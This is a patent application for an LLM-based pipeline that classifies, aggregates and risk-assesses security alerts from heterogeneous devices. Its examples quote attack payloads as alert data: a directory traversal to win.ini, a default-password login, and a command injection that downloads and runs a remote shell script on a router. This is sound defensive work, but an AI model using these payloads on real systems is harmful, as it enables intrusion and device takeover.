A method, apparatus, device and medium for processing alarm data

Abstract

This application discloses a method, apparatus, device, and medium for processing alarm data, belonging to the field of network security technology. The method involves acquiring multiple alarm data sets to be processed and attribute information for each set; classifying the multiple alarm data sets to obtain an alarm category for each set and a first candidate set including multiple first alarm data sets with correct alarms; aggregating the multiple first alarm data sets based on their attribute information to obtain a second candidate set including multiple second alarm data sets; performing a risk assessment on each second alarm data set to obtain an assessment result and processing strategy for each second alarm data set; and processing the multiple second alarm data sets separately based on their assessment results and processing strategies, thereby improving the accuracy and generalization ability of noise reduction for heterogeneous alarm data.

Description

Technical Field

[0001] This application relates to the field of network security technology, and in particular to a method, apparatus, device and medium for processing alarm data. Background Technology

[0002] With the rapid development of Internet technology, in order to better detect network attacks, enterprises often purchase various types of security protection equipment in actual network systems. However, alarm information from different security protection equipment or systems may have different formats, contents, and priorities, which brings challenges to security analysis and processing.

[0003] Intelligent identification and noise reduction of massive amounts of security data is an indispensable and important part of modern security operations and security management.

[0004] Therefore, effectively integrating heterogeneous alarm data, eliminating noise in heterogeneous alarm data, improving the accuracy and generalization ability of alarm noise reduction, and coping with complex and ever-changing security threats are important challenges in security operations. Summary of the Invention

[0005] This application provides a method, apparatus, device, and medium for processing alarm data, which can effectively integrate heterogeneous alarm data, eliminate noise in heterogeneous alarm data, and improve the accuracy and generalization ability of alarm noise reduction.

[0006] In a first aspect, embodiments of this application provide a method for processing alarm data, the method comprising:

[0007] Obtain multiple pending alarm data and the attribute information of each pending alarm data;

[0008] The multiple pending alarm data are classified to obtain the alarm category of each pending alarm data and a first candidate set; the first candidate set includes multiple first pending alarm data whose alarm category is correct.

[0009] Based on the attribute information of the multiple first-to-be-processed alarm data, the multiple first-to-be-processed alarm data are aggregated to obtain a second candidate set; the second candidate set includes multiple second-to-be-processed alarm data.

[0010] A risk assessment is performed on each of the multiple second pending alarm data to obtain the assessment result and processing strategy for each second pending alarm data;

[0011] Based on the evaluation results and processing strategies for each second pending alarm data, the multiple second pending alarm data are processed respectively.

[0012] In this embodiment, multiple alarm data to be processed are first classified to obtain multiple first alarm data to be processed that are correctly classified as alarms. Then, the multiple first alarm data to be processed are aggregated and filtered a second time to retain the valid alarm data and reduce the number of alarm data to be processed. Then, the alarm data is evaluated and the evaluation results and corresponding processing strategies are given. This effectively integrates heterogeneous alarm data, eliminates noise in heterogeneous alarm data, and improves the accuracy and generalization ability of alarm noise reduction.

[0013] In some embodiments, classifying the plurality of pending alarm data to obtain the alarm category of each pending alarm data includes:

[0014] The multiple alarm data to be processed are input into the first pre-trained model to obtain the alarm category of each alarm data to be processed;

[0015] The first large model is obtained by training a large language model using a first alarm data sample set and alarm categories labeled for each first alarm data sample in the first alarm data sample set.

[0016] In this embodiment, the semantic understanding and generalization capabilities of the first large model are used to classify multiple alarm data to be processed. The first large model can cope with various heterogeneous input data, capture key information with different formats and semantics, ensure the correctness of the classification of multiple alarm data to be processed, retain effective alarm data, and reduce the number of alarm data that need to be processed.

[0017] In some embodiments, before inputting the plurality of unprocessed alarm data into a pre-trained first large model to obtain the alarm category of each unprocessed alarm data, the classification processing of the plurality of unprocessed alarm data further includes:

[0018] The multiple pending alarm data are compared with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is identical to the alarm data in the stored security knowledge database; and / or,

[0019] Based on the configured classification rules, some of the pending alarm data are classified and processed to determine the alarm category corresponding to each of the pending alarm data.

[0020] In this embodiment, alarm data from a stored security knowledge database and configured classification rules are used to classify a portion of the multiple pending alarm data. This assists the first major model in classifying the multiple pending alarm data and verifies the classification results of the first major model, further ensuring the correctness and reliability of the classification of the multiple pending alarm data.

[0021] In some embodiments, the step of performing a risk assessment on each of the plurality of second pending alarm data to obtain an assessment result and processing strategy for each second pending alarm data includes:

[0022] The multiple second alarm data to be processed are input into the pre-trained second large model to obtain the evaluation result and processing strategy for each second alarm data to be processed;

[0023] The second major model is obtained by training the large language model using the second alarm data sample set, as well as the evaluation results and processing strategies for labeling each second alarm data sample in the second alarm data sample set.

[0024] In this embodiment, the semantic understanding and generalization capabilities of the second model are utilized to analyze multiple second alarm data to be processed, providing correct evaluation results and processing strategies. This improves the accuracy and generalization capabilities of alarm noise reduction, as well as the efficiency and precision of safety operations.

[0025] In some embodiments, the aggregation of the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set includes:

[0026] Based on the attribute information of the multiple first alarm data to be processed, at least one first alarm data with the same alarm fingerprint is determined;

[0027] The at least one first unprocessed alarm data is aggregated to obtain the second unprocessed alarm data corresponding to the at least one first unprocessed alarm data, and a second candidate set is generated.

[0028] In this embodiment, at least one first alarm data with the same alarm fingerprint is aggregated to obtain a second alarm data corresponding to the at least one first alarm data, generating a second candidate set. Only one of the first alarm data with the same alarm fingerprint is processed, reducing heterogeneous alarm data, effectively integrating heterogeneous alarm data, eliminating noise in heterogeneous alarm data, and improving the accuracy and generalization ability of alarm noise reduction.

[0029] In some embodiments, determining at least one first alarm data with the same alarm fingerprint based on the attribute information of the plurality of first alarm data to be processed includes:

[0030] Based on the attribute information of the multiple first alarm data to be processed, feature extraction is performed on the multiple first alarm data to be processed to obtain the feature vector of the multiple first alarm data to be processed.

[0031] For each of the two pending alarm data:

[0032] Based on the feature vectors of the two first alarm data to be processed, the similarity between the two first alarm data to be processed is determined;

[0033] If the similarity between the two first alarm data to be processed is greater than the similarity threshold, then it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0034] In this embodiment, feature extraction is performed on the first alarm data to be processed, and similarity calculation is performed on every two first alarm data to be processed. Finally, based on the similarity threshold, two first alarm data to be processed with a similarity greater than the similarity threshold are identified as alarm data to be processed with the same alarm fingerprint, providing an accurate basis for the aggregation processing of multiple first alarm data to be processed.

[0035] In some embodiments, the attribute information includes the timestamp, attack type, source IP, destination IP, and port number of the alarm data to be processed.

[0036] Secondly, embodiments of this application provide an alarm data processing apparatus, the apparatus comprising:

[0037] The acquisition module is used to acquire multiple pending alarm data and the attribute information of each pending alarm data.

[0038] The classification module is used to classify the multiple alarm data to be processed, to obtain the alarm category of each alarm data to be processed, and a first candidate set; the first candidate set includes multiple first alarm data to be processed whose alarm category is correct.

[0039] An aggregation module is used to aggregate the multiple first-to-be-processed alarm data based on the attribute information of the multiple first-to-be-processed alarm data to obtain a second candidate set; the second candidate set includes multiple second-to-be-processed alarm data.

[0040] The analysis module is used to perform risk assessment on each of the multiple second-to-be-processed alarm data, and obtain the assessment result and processing strategy for each second-to-be-processed alarm data;

[0041] The processing module is used to process the multiple second alarm data to be processed based on the evaluation results and processing strategies of each second alarm data to be processed.

[0042] In some embodiments, the classification module is specifically used for:

[0043] The multiple alarm data to be processed are input into the first pre-trained model to obtain the alarm category of each alarm data to be processed;

[0044] The first large model is obtained by training a large language model using a first alarm data sample set and alarm categories labeled for each first alarm data sample in the first alarm data sample set.

[0045] In some embodiments, the classification module is further configured to:

[0046] The multiple pending alarm data are compared with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is identical to the alarm data in the stored security knowledge database; and / or,

[0047] Based on the configured classification rules, some of the pending alarm data are classified and processed to determine the alarm category corresponding to each of the pending alarm data.

[0048] In some embodiments, the analysis module is specifically used for:

[0049] The multiple second alarm data to be processed are input into the pre-trained second large model to obtain the evaluation result and processing strategy for each second alarm data to be processed;

[0050] The second major model is obtained by training the large language model using the second alarm data sample set, as well as the evaluation results and processing strategies for labeling each second alarm data sample in the second alarm data sample set.

[0051] In some embodiments, the aggregation module is specifically used for:

[0052] Based on the attribute information of the multiple first alarm data to be processed, at least one first alarm data with the same alarm fingerprint is determined;

[0053] The at least one first unprocessed alarm data is aggregated to obtain the second unprocessed alarm data corresponding to the at least one first unprocessed alarm data, and a second candidate set is generated.

[0054] In some embodiments, the aggregation module is specifically used for:

[0055] Based on the attribute information of the multiple first alarm data to be processed, feature extraction is performed on the multiple first alarm data to be processed to obtain the feature vector of the multiple first alarm data to be processed.

[0056] For each of the two pending alarm data:

[0057] Based on the feature vectors of the two first alarm data to be processed, the similarity between the two first alarm data to be processed is determined;

[0058] If the similarity between the two first alarm data to be processed is greater than the similarity threshold, then it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0059] Thirdly, embodiments of this application provide an electronic device, including: at least one processor, and a memory communicatively connected to the at least one processor, wherein:

[0060] The memory stores a computer program that can be executed by at least one processor, which enables the at least one processor to perform the alarm data processing method described in the first aspect above.

[0061] Fourthly, embodiments of this application provide a computer storage medium in which, when a computer program in the computer storage medium is executed by a processor of an electronic device, the electronic device is able to execute the alarm data processing method described in the first aspect above.

[0062] Other features and advantages of this application will be set forth in the description which follows, and will be apparent in part from the description, or may be learned by practicing the application. The objectives and other advantages of this application may be realized and obtained by means of the structures particularly pointed out in the written description, claims, and drawings. Attached Figure Description

[0063] The accompanying drawings, which are included to provide a further understanding of this application and form part of this application, illustrate exemplary embodiments and are used to explain this application, but do not constitute an undue limitation of this application. In the drawings:

[0064] Figure 1 This is a schematic diagram illustrating an application scenario of an alarm data processing method provided in an embodiment of this application.

[0065] Figure 2 A flowchart illustrating a method for processing alarm data provided in an embodiment of this application;

[0066] Figure 3This is a schematic diagram illustrating the classification of a pending alarm data according to an embodiment of this application.

[0067] Figure 4 A schematic diagram of a process for determining a first candidate set is provided in an embodiment of this application;

[0068] Figure 5 A flowchart illustrating the process of determining a second candidate set is provided in an embodiment of this application.

[0069] Figure 6 This application provides a schematic diagram of a process for determining alarm data with the same alarm fingerprint.

[0070] Figure 7 This is a schematic diagram illustrating an evaluation result and processing strategy for obtaining a second alarm data to be processed, provided as an embodiment of this application.

[0071] Figure 8 A schematic diagram of the structure of an alarm data processing device provided in an embodiment of this application;

[0072] Figure 9 This is a schematic diagram of the hardware structure of an electronic device provided in an embodiment of this application. Detailed Implementation

[0073] To make the objectives, technical solutions, and advantages of the embodiments of this application clearer, the technical solutions of the embodiments of this application will be clearly and completely described below with reference to the accompanying drawings. The described embodiments are only some, not all, of the embodiments of this application. All other embodiments obtained by those skilled in the art based on the embodiments of this application without creative effort are within the scope of protection of this application.

[0074] Furthermore, in the description of the embodiments of this application, unless otherwise stated, " / " means "or". For example, A / B can mean A or B. The "and / or" in the text is merely a description of the relationship between related objects, indicating that there can be three relationships. For example, A and / or B can mean: A exists alone, A and B exist simultaneously, and B exists alone. In addition, in the description of the embodiments of this application, "multiple" means two or more.

[0075] Hereinafter, the terms "first" and "second" are used for descriptive purposes only and should not be construed as implying or suggesting relative importance or implicitly indicating the number of indicated technical features. Thus, a feature defined with "first" and "second" may explicitly or implicitly include one or more of that feature, and in the description of the embodiments of this application, unless otherwise stated, "multiple" means two or more.

[0076] To facilitate understanding of the alarm data processing method provided in this application embodiment, some terms appearing in this application are explained below.

[0077] Large models refer to massive deep learning models containing billions or even tens of billions of parameters. These enormous models, pre-trained on massive amounts of data, are able to learn and capture a wide range of knowledge and patterns. In the field of Natural Language Processing (NLP), large models such as GPT-3, PaLM, and Claude, through pre-training on large amounts of natural language corpora, have demonstrated outstanding capabilities in language understanding, generation, and reasoning. In the field of Computer Vision (CV), large models like DALL-E and Stable Diffusion have achieved amazing image generation and editing capabilities by learning from massive amounts of image data. In general, large models represent the forefront of artificial intelligence development and will demonstrate their powerful capabilities in an increasing number of fields, but they also require continuous improvement and optimization.

[0078] Alert denoising involves filtering out irrelevant or low-priority alerts from a large volume of security alerts, retaining only the truly important and high-risk alerts that require attention. Effective alert denoising reduces the number of alerts that security operations personnel need to process, allowing them to focus on truly critical security events, improving efficiency, reducing incident response time, and ultimately enhancing overall security capabilities. High-quality alert denoising requires the comprehensive use of various technologies such as big data analytics, machine learning, and rule engines to intelligently process and identify massive amounts of security data, making it an indispensable and crucial aspect of modern security operations and management.

[0079] Heterogeneous alerts are alert messages originating from different security products or systems. These alert messages may vary in format, content, and priority, posing challenges to security analysis and processing.

[0080] With the rapid development of Internet technology, in order to better detect network attacks, enterprises often purchase various types of security protection equipment in actual network systems. However, alarm information from different security protection equipment or systems may have different formats, contents, and priorities, which brings challenges to security analysis and processing.

[0081] Intelligent identification and noise reduction of massive amounts of security data is an indispensable and crucial aspect of modern security operations and management. Traditional methods are primarily based on rules and small machine learning models. Specifically:

[0082] Rule-based approaches involve security teams developing a set of rules based on past experience, then filtering and categorizing alerts. For example, certain known scanning behaviors or normal operational activities can be filtered out based on characteristics such as source / destination IP, port number, and protocol type. This method is simple and direct, but requires manual maintenance of the rule set and is difficult to cover all scenarios.

[0083] The approach based on small machine learning models uses historical alarm data to train machine learning models such as decision trees and logistic regression to perform binary classification (noise / non-noise) on new alarm data. This is more intelligent than rule-based methods, but small machine learning models have limited expressive power and are insufficient for modeling complex security scenarios.

[0084] Therefore, effectively integrating heterogeneous alarm data, eliminating noise in heterogeneous alarm data, improving the accuracy and generalization ability of alarm noise reduction, and coping with complex and ever-changing security threats are important challenges in security operations.

[0085] In view of this, embodiments of this application provide a method, apparatus, device and medium for processing alarm data, so as to effectively integrate heterogeneous alarm data, eliminate noise in heterogeneous alarm data, and improve the accuracy and generalization ability of alarm noise reduction.

[0086] The inventive concept of this application embodiment is as follows: In this application embodiment, multiple alarm data to be processed and attribute information of each alarm data to be processed are obtained; the multiple alarm data to be processed are classified to obtain the alarm category of each alarm data to be processed and a first candidate set including multiple first alarm data to be processed that are correctly reported; based on the attribute information of the multiple first alarm data to be processed, the multiple first alarm data to be processed are aggregated to obtain a second candidate set including multiple second alarm data to be processed; a risk assessment is performed on each second alarm data to be processed to obtain an assessment result and processing strategy for each second alarm data to be processed; based on the assessment result and processing strategy for each second alarm data to be processed, the multiple second alarm data to be processed are processed respectively. After two screenings, valid alarm data is retained, reducing the number of alarm data to be processed. Then, the alarm data is evaluated, and the evaluation result and corresponding processing strategy are given. This effectively integrates heterogeneous alarm data, eliminates noise in heterogeneous alarm data, and improves the accuracy and generalization ability of alarm noise reduction.

[0087] After introducing the main inventive concept of the embodiments of this application, the application scenario of an alarm data processing method provided by the embodiments of this application will be described below with reference to the accompanying drawings. For example... Figure 1 The diagram shown is an application scenario illustration of an alarm data processing method provided in an embodiment of this application. Figure 1 It includes a server 100 and electronic devices 200; among which:

[0088] After obtaining the attribute information of each of the multiple pending alarm data and the multiple pending alarm data, the electronic device 200 retrieves the pre-trained first large model from the server 100 and uses the pre-trained first large model to classify the multiple pending alarm data to obtain the alarm category of each pending alarm data, as well as the first candidate set of multiple first pending alarm data including the alarm category being correct.

[0089] Then, based on the attribute information of multiple first alarm data to be processed, the electronic device 200 aggregates the multiple first alarm data to be processed to obtain a second candidate set including multiple second alarm data to be processed. Then, it obtains a pre-trained second large model from the server 100 and uses the pre-trained second large model to perform risk assessment on each of the multiple second alarm data to be processed, and obtains the assessment result and processing strategy for each second alarm data to be processed.

[0090] Finally, the electronic device 200 processes multiple second alarm data sets based on the evaluation results and processing strategies for each set of second alarm data sets to be processed.

[0091] The server 100 and the electronic device 200 can communicate with each other. The communication method can be wired communication technology, such as communicating through a network cable or serial cable; or wireless communication technology, such as communicating through Bluetooth or WIFI. There are no specific restrictions.

[0092] To further illustrate the technical solutions provided in the embodiments of this application, a detailed description is provided below in conjunction with the accompanying drawings and specific implementation methods. Although the embodiments of this application provide method operation steps as shown in the following embodiments or drawings, the method may include more or fewer operation steps based on conventional or non-inventive methods. In steps where there is no logically necessary causal relationship, the execution order of these steps is not limited to the execution order provided in the embodiments of this application.

[0093] See Figure 2 This is a flowchart illustrating a method for processing alarm data provided in an embodiment of this application. The method includes, as follows: Figure 2 The steps shown are as follows:

[0094] In step 201, multiple pending alarm data and attribute information of each pending alarm data are obtained.

[0095] The attribute information of the alarm data to be processed includes the timestamp, attack type, source IP, destination IP, and port number of the alarm data to be processed.

[0096] It is important to emphasize that many of the alerts pending processing in this application are heterogeneous alerts from various security devices, including alerts generated by different security systems such as firewalls, intrusion detection systems, and endpoint security systems. These alerts may vary in format, content, and priority.

[0097] In step 202, multiple alarm data to be processed are classified to obtain the alarm category of each alarm data to be processed and the first candidate set.

[0098] In this embodiment, the alarm categories are alarm correct and alarm incorrect. The first candidate set includes multiple first-to-be-processed alarm data entries classified as alarm correct.

[0099] Therefore, this application retains alarm data that is correctly classified as an alarm and removes alarm data that is incorrectly classified as an alarm, thereby reducing the amount of alarms that security operations personnel need to process.

[0100] In step 203, based on the attribute information of multiple first alarm data to be processed, the multiple first alarm data to be processed are aggregated to obtain a second candidate set.

[0101] In this embodiment, the second candidate set includes multiple second pending alarm data. The second pending alarm data is the remaining pending alarm data after aggregating multiple first pending alarm data from the first candidate set, further reducing the amount of alarms that security operations personnel need to process.

[0102] In step 204, a risk assessment is performed on each of the multiple second pending alarm data to obtain the assessment result and processing strategy for each second pending alarm data.

[0103] In step 205, based on the evaluation results and processing strategies of each second alarm data to be processed, multiple second alarm data to be processed are processed respectively.

[0104] In some embodiments, the multiple alarm data to be processed obtained in this application may have different formats, contents, and priorities. Therefore, in order to avoid cumbersome format unification operations, this application directly utilizes the semantic understanding capabilities of the large model to automatically classify the multiple alarm data to be processed.

[0105] Specifically, in step 202, multiple pending alarm data are classified to obtain the alarm category for each pending alarm data, which is implemented as follows:

[0106] Multiple alarm data points to be processed are input into the first pre-trained model to obtain the alarm category for each alarm data point.

[0107] The first major model is obtained by training a large language model using the first alarm data sample set and the alarm categories labeled for each first alarm data sample in the first alarm data sample set.

[0108] In practice, the primary model can be an AI model, and a multi-layered AI model fusion method can be adopted.

[0109] First, a large-scale pre-trained general-purpose AI model is used as a foundation to extract features and classify and label different types of security alert logs. By training the general-purpose AI model with massive amounts of general data, rich semantic understanding and knowledge reasoning capabilities are accumulated, enabling the AI ​​model to better handle various forms of alert data.

[0110] However, a single large model inevitably has limitations and cannot fully cover all alarm types and scenarios. Therefore, based on the general AI large model, more targeted AI small models can be introduced to optimize the model's performance in certain specialized security areas. These AI small models can be deep learning-based classification models or rule-based expert systems, making full use of the experience and knowledge of security experts.

[0111] Therefore, the first major model can be a large AI model, a small AI model, or a combination of both.

[0112] Whether it's a large AI model or a small AI model, during training, it's necessary to acquire the first alarm data sample set and its labeled data. Based on the first alarm data sample set and its labeled data, the large language model is fine-tuned to enhance its generalization ability to data, enabling it to adapt to security alarm data from different sources and of different types, and to quickly adapt to new security threats and events.

[0113] Among them, the labeled data of the first alarm data sample set is the alarm category of each first alarm data sample in the first alarm data sample set that is manually labeled.

[0114] Furthermore, when fine-tuning the first large model based on the first alarm data sample set and its labeled data, the quality and diversity of the first alarm data sample set are first improved through data augmentation and multimodal fusion; then, model combination and dynamic prompts are used to enhance the flexibility and adaptability of the first large model; and finally, advanced techniques such as meta-learning and adversarial training are adopted to improve the generalization ability and robustness of the first large model.

[0115] Simultaneously, continuous learning and online update mechanisms can be introduced to enable the primary model to continuously adapt to new security threats; through adaptive security constraints and advanced interpretability technologies, the security and credibility of the primary model can be enhanced.

[0116] Using the fine-tuned first model, i.e. the pre-trained first model, multiple pending alarm data are classified to obtain the alarm category of each pending alarm data, ensuring the correctness of the classification of multiple pending alarm data.

[0117] For example, such as Figure 3 The diagram illustrates the classification of a specific alarm data set. The input to the first main model is:

[0118] {\"srcPort\":39810,\"destPort\":8001,\"appProtocol\":\"http\",\"requestHeader\":\"POST / casa / nodes / thumbprintsHTTP / 1.1 Host: 118.122.233.42:8001 Use r-Agent:Mozilla / 5.0(WindowsNT10.0;Win64;x64);AppleWebKit / 537.36(KHTML,likeGecko)Chrome / 104.0.0.0Safari / 537.36 Content-Length: 22 Accept:text / html,application / xhtml+xml,application / xml;q=0.9,image / avif,image / webp,image / apng,* / *;q=0.8,application / signed-exchange;v=b3;q=0.9 Accept-Language:zh-CN,zh; q=0.9 Connection:close Content-Type: application / json Accept-Encoding:gzip Please determine the alarm category based on the above data and provide the basis for your judgment.

[0119] The output of the first major model is: label: VMware vRealize Operations Manager SSRF vulnerability (CVE-2021-21975) proof: The target port of this request is 8001, the request method is POST, the requested URL path is / casa / nodes / thumbprints, and the request header contains Content-Type as application / json, which corresponds to the VMware vRealize Operations Manager SSRF vulnerability (CVE-2021-21975). Attackers can exploit this vulnerability by constructing malicious requests to carry out server-side request forgery (SSRF) attacks, which may cause the server to send requests to arbitrary URLs, leaking internal information or attacking internal systems. Therefore, there is a serious security risk.

[0120] Therefore, the first major model outputs the alarm category and basis for the alarm data to be processed.

[0121] In this embodiment, the semantic understanding and generalization capabilities of the first large model are used to classify multiple alarm data to be processed. The first large model can cope with various heterogeneous input data, capture key information with different formats and semantics, ensure the correctness of the classification of multiple alarm data to be processed, retain effective alarm data, and reduce the number of alarm data that need to be processed.

[0122] In some embodiments, to further improve the accuracy and reliability of the annotation, in this application embodiment, multiple pieces of alarm data to be processed are input into a pre-trained first large model. Before obtaining the alarm category of each piece of alarm data to be processed, the multiple pieces of alarm data to be processed are classified. This can also be performed as follows:

[0123] Compare multiple pending alarm data entries with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is identical to the alarm data in the stored security knowledge database; and / or,

[0124] Based on the configured classification rules, some of the pending alarm data from multiple pending alarm data are classified and processed to determine the alarm category corresponding to each of the pending alarm data.

[0125] The security knowledge database includes, but is not limited to, a historical alert sample database, a known threat intelligence database, and a security vulnerability database.

[0126] Specifically, the alarm data to be processed can be classified and processed according to the following implementation methods:

[0127] Implementation method 1: Input multiple alarm data to be processed into the first pre-trained model to obtain the alarm category of each alarm data to be processed.

[0128] The specifics are as described above, and will not be repeated here.

[0129] Implementation Method 2: Compare multiple pending alarm data with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is the same as the alarm data in the stored security knowledge database; input other pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data, or input all multiple pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data.

[0130] Specifically, the system first compares multiple pending alarm data with alarm data in the stored security knowledge database. If the highly reliable security knowledge database contains alarm data identical to the multiple pending alarm data, the alarm category of the pending alarm data identical to the alarm data in the security knowledge database can be directly determined. Then, the other pending alarm data are input into the first main model for classification, or all multiple pending alarm data are input into the pre-trained first main model for classification.

[0131] Implementation Method 3: Based on the configured classification rules, classify some of the unprocessed alarm data from multiple unprocessed alarm data to determine the alarm category corresponding to each of the unprocessed alarm data; input the other unprocessed alarm data into the pre-trained first large model to obtain the alarm category of each unprocessed alarm data, or input all of the multiple unprocessed alarm data into the pre-trained first large model to obtain the alarm category of each unprocessed alarm data.

[0132] Specifically, since certain scenario or security system classification rules are configured, multiple pending alarm data can be classified based on the configured classification rules. If there are pending alarm data that can be classified using the configured classification rules, the alarm category of this part of the pending alarm data is determined directly based on the configured classification rules. Then, the other pending alarm data is input into the first major model for classification, or all of the multiple pending alarm data are input into the first major model for classification.

[0133] Implementation Method 4: Compare multiple pending alarm data with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is the same as the alarm data in the stored security knowledge database; based on the configured classification rules, classify some pending alarm data in other pending alarm data to determine the alarm category corresponding to each of the pending alarm data; input the remaining pending alarm data in other pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data, or input all of the multiple pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data.

[0134] In implementation methods two, three, and four, if other unprocessed alarm data is input into the pre-trained first large model to obtain the alarm category of each unprocessed alarm data, then the security knowledge database and the configured classification rules are used to classify the unprocessed alarm data, which can assist the first large model in classifying multiple unprocessed alarm data and reduce the alarm data processed by the first large model.

[0135] If all the pending alarm data are input into the pre-trained first large model to obtain the alarm category of each pending alarm data, the classification result of the pending alarm data is classified using the security knowledge database and the configured classification rules. This can verify the classification result of the first large model for classifying multiple pending alarm data, further ensuring the correctness and reliability of the classification of multiple pending alarm data.

[0136] In practical applications, if a large model cannot classify the alarm data to be processed, manual classification can be used, relying on the rich security knowledge and experience of experts, to determine the alarm category of the alarm data to be processed.

[0137] The following is an implementation method for determining the first candidate set, such as... Figure 4 As shown:

[0138] In step 401, multiple pieces of alarm data to be processed are compared with alarm data in the stored security knowledge database to determine the alarm category of the alarm data to be processed that is the same as the alarm data in the stored security knowledge database;

[0139] In step 402, based on the configured classification rules, some of the pending alarm data in the multiple pending alarm data are classified to determine the alarm category corresponding to each of the pending alarm data.

[0140] In step 403, multiple alarm data to be processed are input into the pre-trained first large model to obtain the alarm category of each alarm data to be processed;

[0141] In step 404, it is checked whether there is any unclassified alarm data to be processed. If so, in step 405, in response to the user's manual classification operation, the alarm category of the alarm data to be processed is determined, and then step 406 is executed to determine the first candidate set. If not, step 406 is executed directly.

[0142] The first candidate set includes multiple first-stage alarm data that are correctly classified as alarms.

[0143] In some embodiments, step 203, which aggregates multiple first-to-be-processed alarm data based on their attribute information to obtain a second candidate set, can be implemented as follows: Figure 5 The steps shown are as follows:

[0144] In step 501, based on the attribute information of multiple first alarm data to be processed, at least one first alarm data with the same alarm fingerprint is determined.

[0145] Before determining at least one first alarm data with the same alarm fingerprint based on the attribute information of multiple first alarm data to be processed, the multiple first alarm data to be processed can also be preprocessed and grouped into time windows.

[0146] In step 502, at least one first alarm data to be processed is aggregated to obtain at least one second alarm data to be processed corresponding to the first alarm data to be processed, and a second candidate set is generated.

[0147] Furthermore, in step 501, based on the attribute information of multiple first-to-be-processed alarm data, at least one first-to-be-processed alarm data with the same alarm fingerprint is determined, which can be executed as follows: Figure 6 The steps shown are as follows:

[0148] In step 601, based on the attribute information of multiple first alarm data to be processed, feature extraction is performed on the multiple first alarm data to be processed to obtain feature vectors of the multiple first alarm data to be processed.

[0149] In step 602, for each of the two first pending alarm data:

[0150] In step 6021, the similarity between the two first alarm data to be processed is determined based on the feature vectors of the two first alarm data to be processed.

[0151] In step 6022, if the similarity between two first alarm data to be processed is greater than the similarity threshold, then it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0152] In practice, key features are first extracted based on the timestamps, attack types, source IPs, destination IPs, port numbers, and other attribute information of multiple first-to-be-processed alarm data. Then, the extracted key features are numerically encoded to form feature vectors. Finally, algorithms such as cosine similarity are used to calculate the similarity between the feature vectors of each pair of first-to-be-processed alarm data. According to the order of similarity from high to low, an ordered alarm fingerprint sequence is generated.

[0153] Finally, the two first-to-be-processed alarm data with a similarity greater than the similarity threshold in the alarm fingerprint sequence are taken as the two first-to-be-processed alarm data with the same alarm fingerprint.

[0154] Furthermore, multiple pending alarm data can be aggregated based on rules such as IP aggregation, attack type association, asset importance, and attack stage association.

[0155] Specifically, the IP aggregation rule aggregates multiple pending alarm data with the same source IP or target IP. The attack type association rule aggregates multiple pending alarm data with similar or related attack types. The attack stage association rule aggregates multiple pending alarm data belonging to different stages of the same attack chain.

[0156] During implementation, the first pending alarm data that meets the rules of IP aggregation, attack type association, asset importance and attack stage association can be determined based on the timestamp, attack type, source IP, destination IP, port number and other attribute information of multiple first pending alarm data, so as to perform aggregation processing.

[0157] Furthermore, based on the aggregation of multiple first-stage pending alarm data according to rules such as IP aggregation, attack type association, asset importance and attack stage association, a large model can be used to perform more complex correlation analysis on multiple first-stage pending alarm data such as contextual reasoning, causal reasoning and threat intelligence fusion, and then aggregate them again to finally obtain the second candidate set.

[0158] In this embodiment, at least one first alarm data with the same alarm fingerprint is aggregated, and only one of the first alarm data with the same alarm fingerprint is processed, which effectively integrates heterogeneous alarm data and eliminates noise in heterogeneous alarm data.

[0159] In some embodiments, step 204, which involves performing a risk assessment on each of the multiple second-to-be-processed alarm data to obtain an assessment result and processing strategy for each second-to-be-processed alarm data, can be implemented as follows:

[0160] Multiple second alarm data to be processed are input into the pre-trained second large model to obtain the evaluation results and processing strategies for each second alarm data to be processed.

[0161] The second major model is obtained by training the large language model using the second alarm data sample set, as well as the evaluation results and processing strategies for labeling each second alarm data sample in the second alarm data sample set.

[0162] In practice, multiple second-to-be-processed alarm data from the second candidate set are input into the pre-trained second large model. The semantic understanding, knowledge reasoning, and natural language generation capabilities of the second large model are fully utilized to output the evaluation results and processing strategies for each second-to-be-processed alarm data.

[0163] The assessment results include attack type, threat level assessment, attack result analysis, and alarm data description. The handling strategies include security recommendations such as changing weak passwords, blocking access, patching, policy adjustments, and developing emergency response plans.

[0164] For example, such as Figure 7 As shown, to input a second alarm data point to be processed into a pre-trained second large model, the evaluation result and processing strategy for that second alarm data point are obtained. As shown in the figure, the input to the second large model is:

[0165] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Weak Password","num":5,"result":"Success","payload":"GET / login.html?userName=admin&passWd=admin"}

[0166] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Directory traversal attack detected","num":10,"result":"Failed","payload":"GET / GET / search?NS-query-pat=..\\..\\..\\..\\..\\..\\winnt\\win.ini"}

[0167] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Puppet Machine Random Sweep","num":5,"result":Success","payload":"GET / cgi-bin / luci / ;stok= / locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+wget+http%3A%2F%2F3%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+sh)"}

[0168] The output of the second major model is:

[0169] Attack types: network attacks, weak password cracking;

[0170] Threat level: High risk;

[0171] Attack result: Success;

[0172] Alarm data description:

[0173] Reconnaissance (information gathering): The attacker launched a directory traversal attack from 192.168.1.1 in an attempt to obtain sensitive information;

[0174] Exploitation: The attacker successfully logged into the target system 192.168.1.2 using weak password cracking techniques.

[0175] Command and control: Attackers execute malicious commands through the cgi-bin / luci interface, download and execute malicious shell scripts, and gain high-level privileges;

[0176] Handling strategy:

[0177] Immediately change the weak password to a strong password;

[0178] Access from untrusted IPs is prohibited;

[0179] Monitor and analyze the access logs of the cgi-bin / luci interface;

[0180] Scan and remove malicious shell scripts from your system.

